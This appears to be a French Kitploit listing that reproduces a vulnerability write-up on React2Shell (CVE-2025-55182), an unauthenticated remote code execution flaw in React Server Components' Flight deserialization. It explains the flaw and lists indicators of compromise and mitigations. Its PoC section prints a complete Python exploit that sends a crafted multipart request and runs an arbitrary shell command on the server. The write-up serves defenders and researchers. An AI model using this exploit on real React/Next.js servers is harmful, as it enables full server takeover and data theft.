Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web — React2Shell, CVE-2025-55182, Vulnérabilité RCE : une analyse critique de la faille de désérialisation non sécurisée dans les React Server Components qui permet une exécution de code à distance non authentifiée sur les configurations par défaut de React/Next.js. | Kitploit
Outils/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182-the-deserialization-bug-that-broke-the-web
Gestion des Indicateurs de Compromission (IOC)Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionRenseignement sur les MenacesArticles et RechercheApprentissage et Éducation
Réponse aux Incidents
Développement de Charges Utiles
GitHubadityabhatt3010/react2shell-cve-2025-55182-the-deserialization-bug-that-broke-the-web

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell, CVE-2025-55182, Vulnérabilité RCE : une analyse critique de la faille de désérialisation non sécurisée dans les React Server Components qui permet une exécution de code à distance non authentifiée sur les configurations par défaut de React/Next.js.

Voir le dépôt
81il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

React2Shell (CVE-2025-55182): Le bug de désérialisation qui a brisé le Web ⚡

React2Shell, CVE-2025-55182, Vulnérabilité RCE : Une analyse critique de la faille de désérialisation non sécurisée dans les React Server Components qui permet l'exécution de code à distance non authentifiée sur les configurations par défaut de React/Next.js.

⏩ TL;DR

React2Shell (CVE-2025-55182) est une vulnérabilité critique d'exécution de code à distance (RCE) affectant les React Server Components (RSC) dans React 19.x et les frameworks comme Next.js. Le défaut réside dans la désérialisation non sécurisée des morceaux du protocole « Flight », permettant aux attaquants d'injecter des structures malveillantes qui se résolvent en constructeur Function, entraînant l'exécution de JavaScript arbitraire sur le serveur.

  • Fonctionne sur les configurations par défaut
  • Ne nécessite aucune authentification
  • Exploite les requêtes multipart/form-data standard
  • Conduit à une prise de contrôle complète du serveur
  • Un PoC public existe (crédité ci-dessous)
  • Atténuation : Mettre à jour vers React 19.2.1+ / versions patchées de Next.js

React2Shell


👋 Introduction

Les React Server Components ont été introduits pour faire le pont entre le rendu client/serveur avec un workflow plus fluide et composite. Pour ce faire, React utilise un canal de sérialisation personnalisé de type binaire appelé le protocole Flight.

Malheureusement, la logique de désérialisation de ce protocole contenait une faille subtile qui permettait aux attaquants d'introduire des charges utiles malveillantes profondément dans le runtime de React.

Résultat ? Une chaîne d'exécution de code à distance complète et non authentifiée, désormais surnommée React2Shell — et oui, son impact est comparable à Log4Shell en termes d'échelle et d'accessibilité. 🔥

Cet article décompose la vulnérabilité dans un format clair et exploitable — idéal pour les praticiens VAPT, les chercheurs et les défenseurs.


🧠 La vulnérabilité expliquée (React2Shell en termes simples)

🧩 1. Comment fonctionne le protocole Flight de React

Le RSC communique avec le client en envoyant des « morceaux » sérialisés qui représentent des références, des objets, des métadonnées de composants, des limites asynchrones, etc.

Lorsque ces morceaux arrivent sur le serveur ou le client, React les désérialise en objets et fonctions.

Ce processus suppose que la structure de données est sûre. C'est là que les choses ont cassé.


💥 2. Le défaut central : Désérialisation non sécurisée → Constructeur Function → RCE

Les attaquants ont trouvé un moyen de fabriquer des morceaux malveillants contenant :

  • Des accesseurs de prototype
  • De faux objets de type promesse (thenables)
  • Des clés faisant référence à la chaîne de prototypes
  • Des chemins qui exposent finalement le constructeur Function

Exemple de motif :

root@kitploit:~
"$then": { "constructor": { "prototype": null } }

Pendant la désérialisation, React interprète cet objet comme un thenable et appelle :

root@kitploit:~
promise.then(...)

Mais ici, then est en réalité le constructeur Function, donc l'appel devient :

root@kitploit:~
(new Function("malicious_payload"))();

Cela entraîne une exécution de JavaScript arbitraire dans l'environnement Node.js exécutant les React Server Components.

Boom — vous avez une RCE.


🚨 3. Pourquoi c'est si dangereux

  • Aucune authentification requise
  • Fonctionne sur les applications Next.js par défaut
  • Aucune configuration ou indicateur spécial nécessaire
  • Simple requête HTTP POST
  • Conduit à un compromis total : écriture de fichier, lancement de processus, mouvement latéral

C'est pourquoi les fournisseurs cloud, les équipes de sécurité et les CERTs ont réagi instantanément une fois que cela a été rendu public.


🚨 Indicateurs de compromission (IoCs)

📡 IoCs réseau

  • Requêtes POST multipart vers :
    • /react
    • /rsc
    • /server, /flight, /server-actions
  • Charges utiles contenant des clés comme :
    • $then
    • $proto
    • $constructor
    • $type

🖥️ IoCs au niveau hôte

  • Exécutions Node.js suspectes telles que :

    root@kitploit:~
    node -e "<payload>"
    
  • Fichiers inattendus sous :

    • /tmp/react-rce-*
    • /var/tmp/node-rce-*

🧭 IoCs comportementaux

  • Journaux d'incompatibilité d'hydratation précédant des anomalies d'exécution
  • Connexions sortantes soudaines vers des IP suspectes
  • Crashs dans les gestionnaires de désérialisation RSC
  • Morceaux Flight inhabituels ou malformés renvoyés par le serveur

🧪 Preuve de concept (PoC)

⚠️ Note importante
Je ne possède pas ce PoC.
Il est référencé depuis le dépôt public suivant, avec tout le crédit à l'auteur :

👉 https://github.com/msanft/CVE-2025-55182

⚠️ Avertissement :

La preuve de concept (PoC) suivante est fournie strictement à des fins de recherche en cybersécurité éducative et défensive.
Elle doit être exécutée uniquement dans des environnements de laboratoire isolés ou sur des systèmes pour lesquels vous avez une autorisation explicite de tester.

L'utilisation abusive de ce code pour un accès non autorisé, une exploitation ou un compromis de système est illégale, contraire à l'éthique, et punissable en vertu des lois sur la cybersécurité.
Procédez de manière responsable. 🛡️💻

Voici le PoC complet :

root@kitploit:~
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

⚠️ Avertissement :

Si vous avez exécuté ce PoC, assurez-vous de l'avoir fait dans un bac à sable contrôlé et non sur des actifs de production ou tiers.

Cette démonstration existe uniquement pour aider les analystes, développeurs et défenseurs à comprendre, détecter et atténuer CVE-2025-55182 (React2Shell).
Toute utilisation malveillante ou non autorisée de ces informations est strictement interdite et n'est pas approuvée par l'auteur.

Restez éthique. Restez sécurisé. 🐉🔥


🛡️ Stratégie d'atténuation et de défense

✅ 1. Mettre à jour immédiatement

  • React → 19.2.1+
  • Next.js → versions patchées publiées par Vercel
  • Autres frameworks compatibles RSC → appliquer les correctifs des fournisseurs

🔐 2. Renforcement à court terme

  • Ajouter des signatures WAF pour les motifs de désérialisation RSC
  • Bloquer le trafic POST multipart suspect
  • Restreindre l'accès public aux points de terminaison des actions serveur
  • Désactiver les fonctionnalités RSC expérimentales si non nécessaires
  • Appliquer une validation stricte des requêtes entrantes

🧱 3. Défense en profondeur

  • Utiliser le sandboxing du runtime Node.js
  • Activer les restrictions réseau sortantes
  • Auditer l'exécution de code côté serveur inattendue
  • Ajouter une détection d'anomalies dans les journaux et les pipelines de build

👋 Conclusion — Restez curieux, restez sécurisé 🔥

React2Shell est un puissant rappel que les couches de sérialisation, aussi élégantes soient-elles, restent l'un des composants les plus dangereux des frameworks modernes. Dès que des objets arbitraires touchent le runtime sans validation, la chaîne menant à la RCE devient terriblement courte.

Merci d'avoir lu — et comme toujours, continuez à hacker éthiquement, continuez à apprendre constamment, et gardez ce feu de la sécurité allumé. 🔥🐉


⭐ Suivez-moi et connectez-vous

🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010


Télécharger l’outil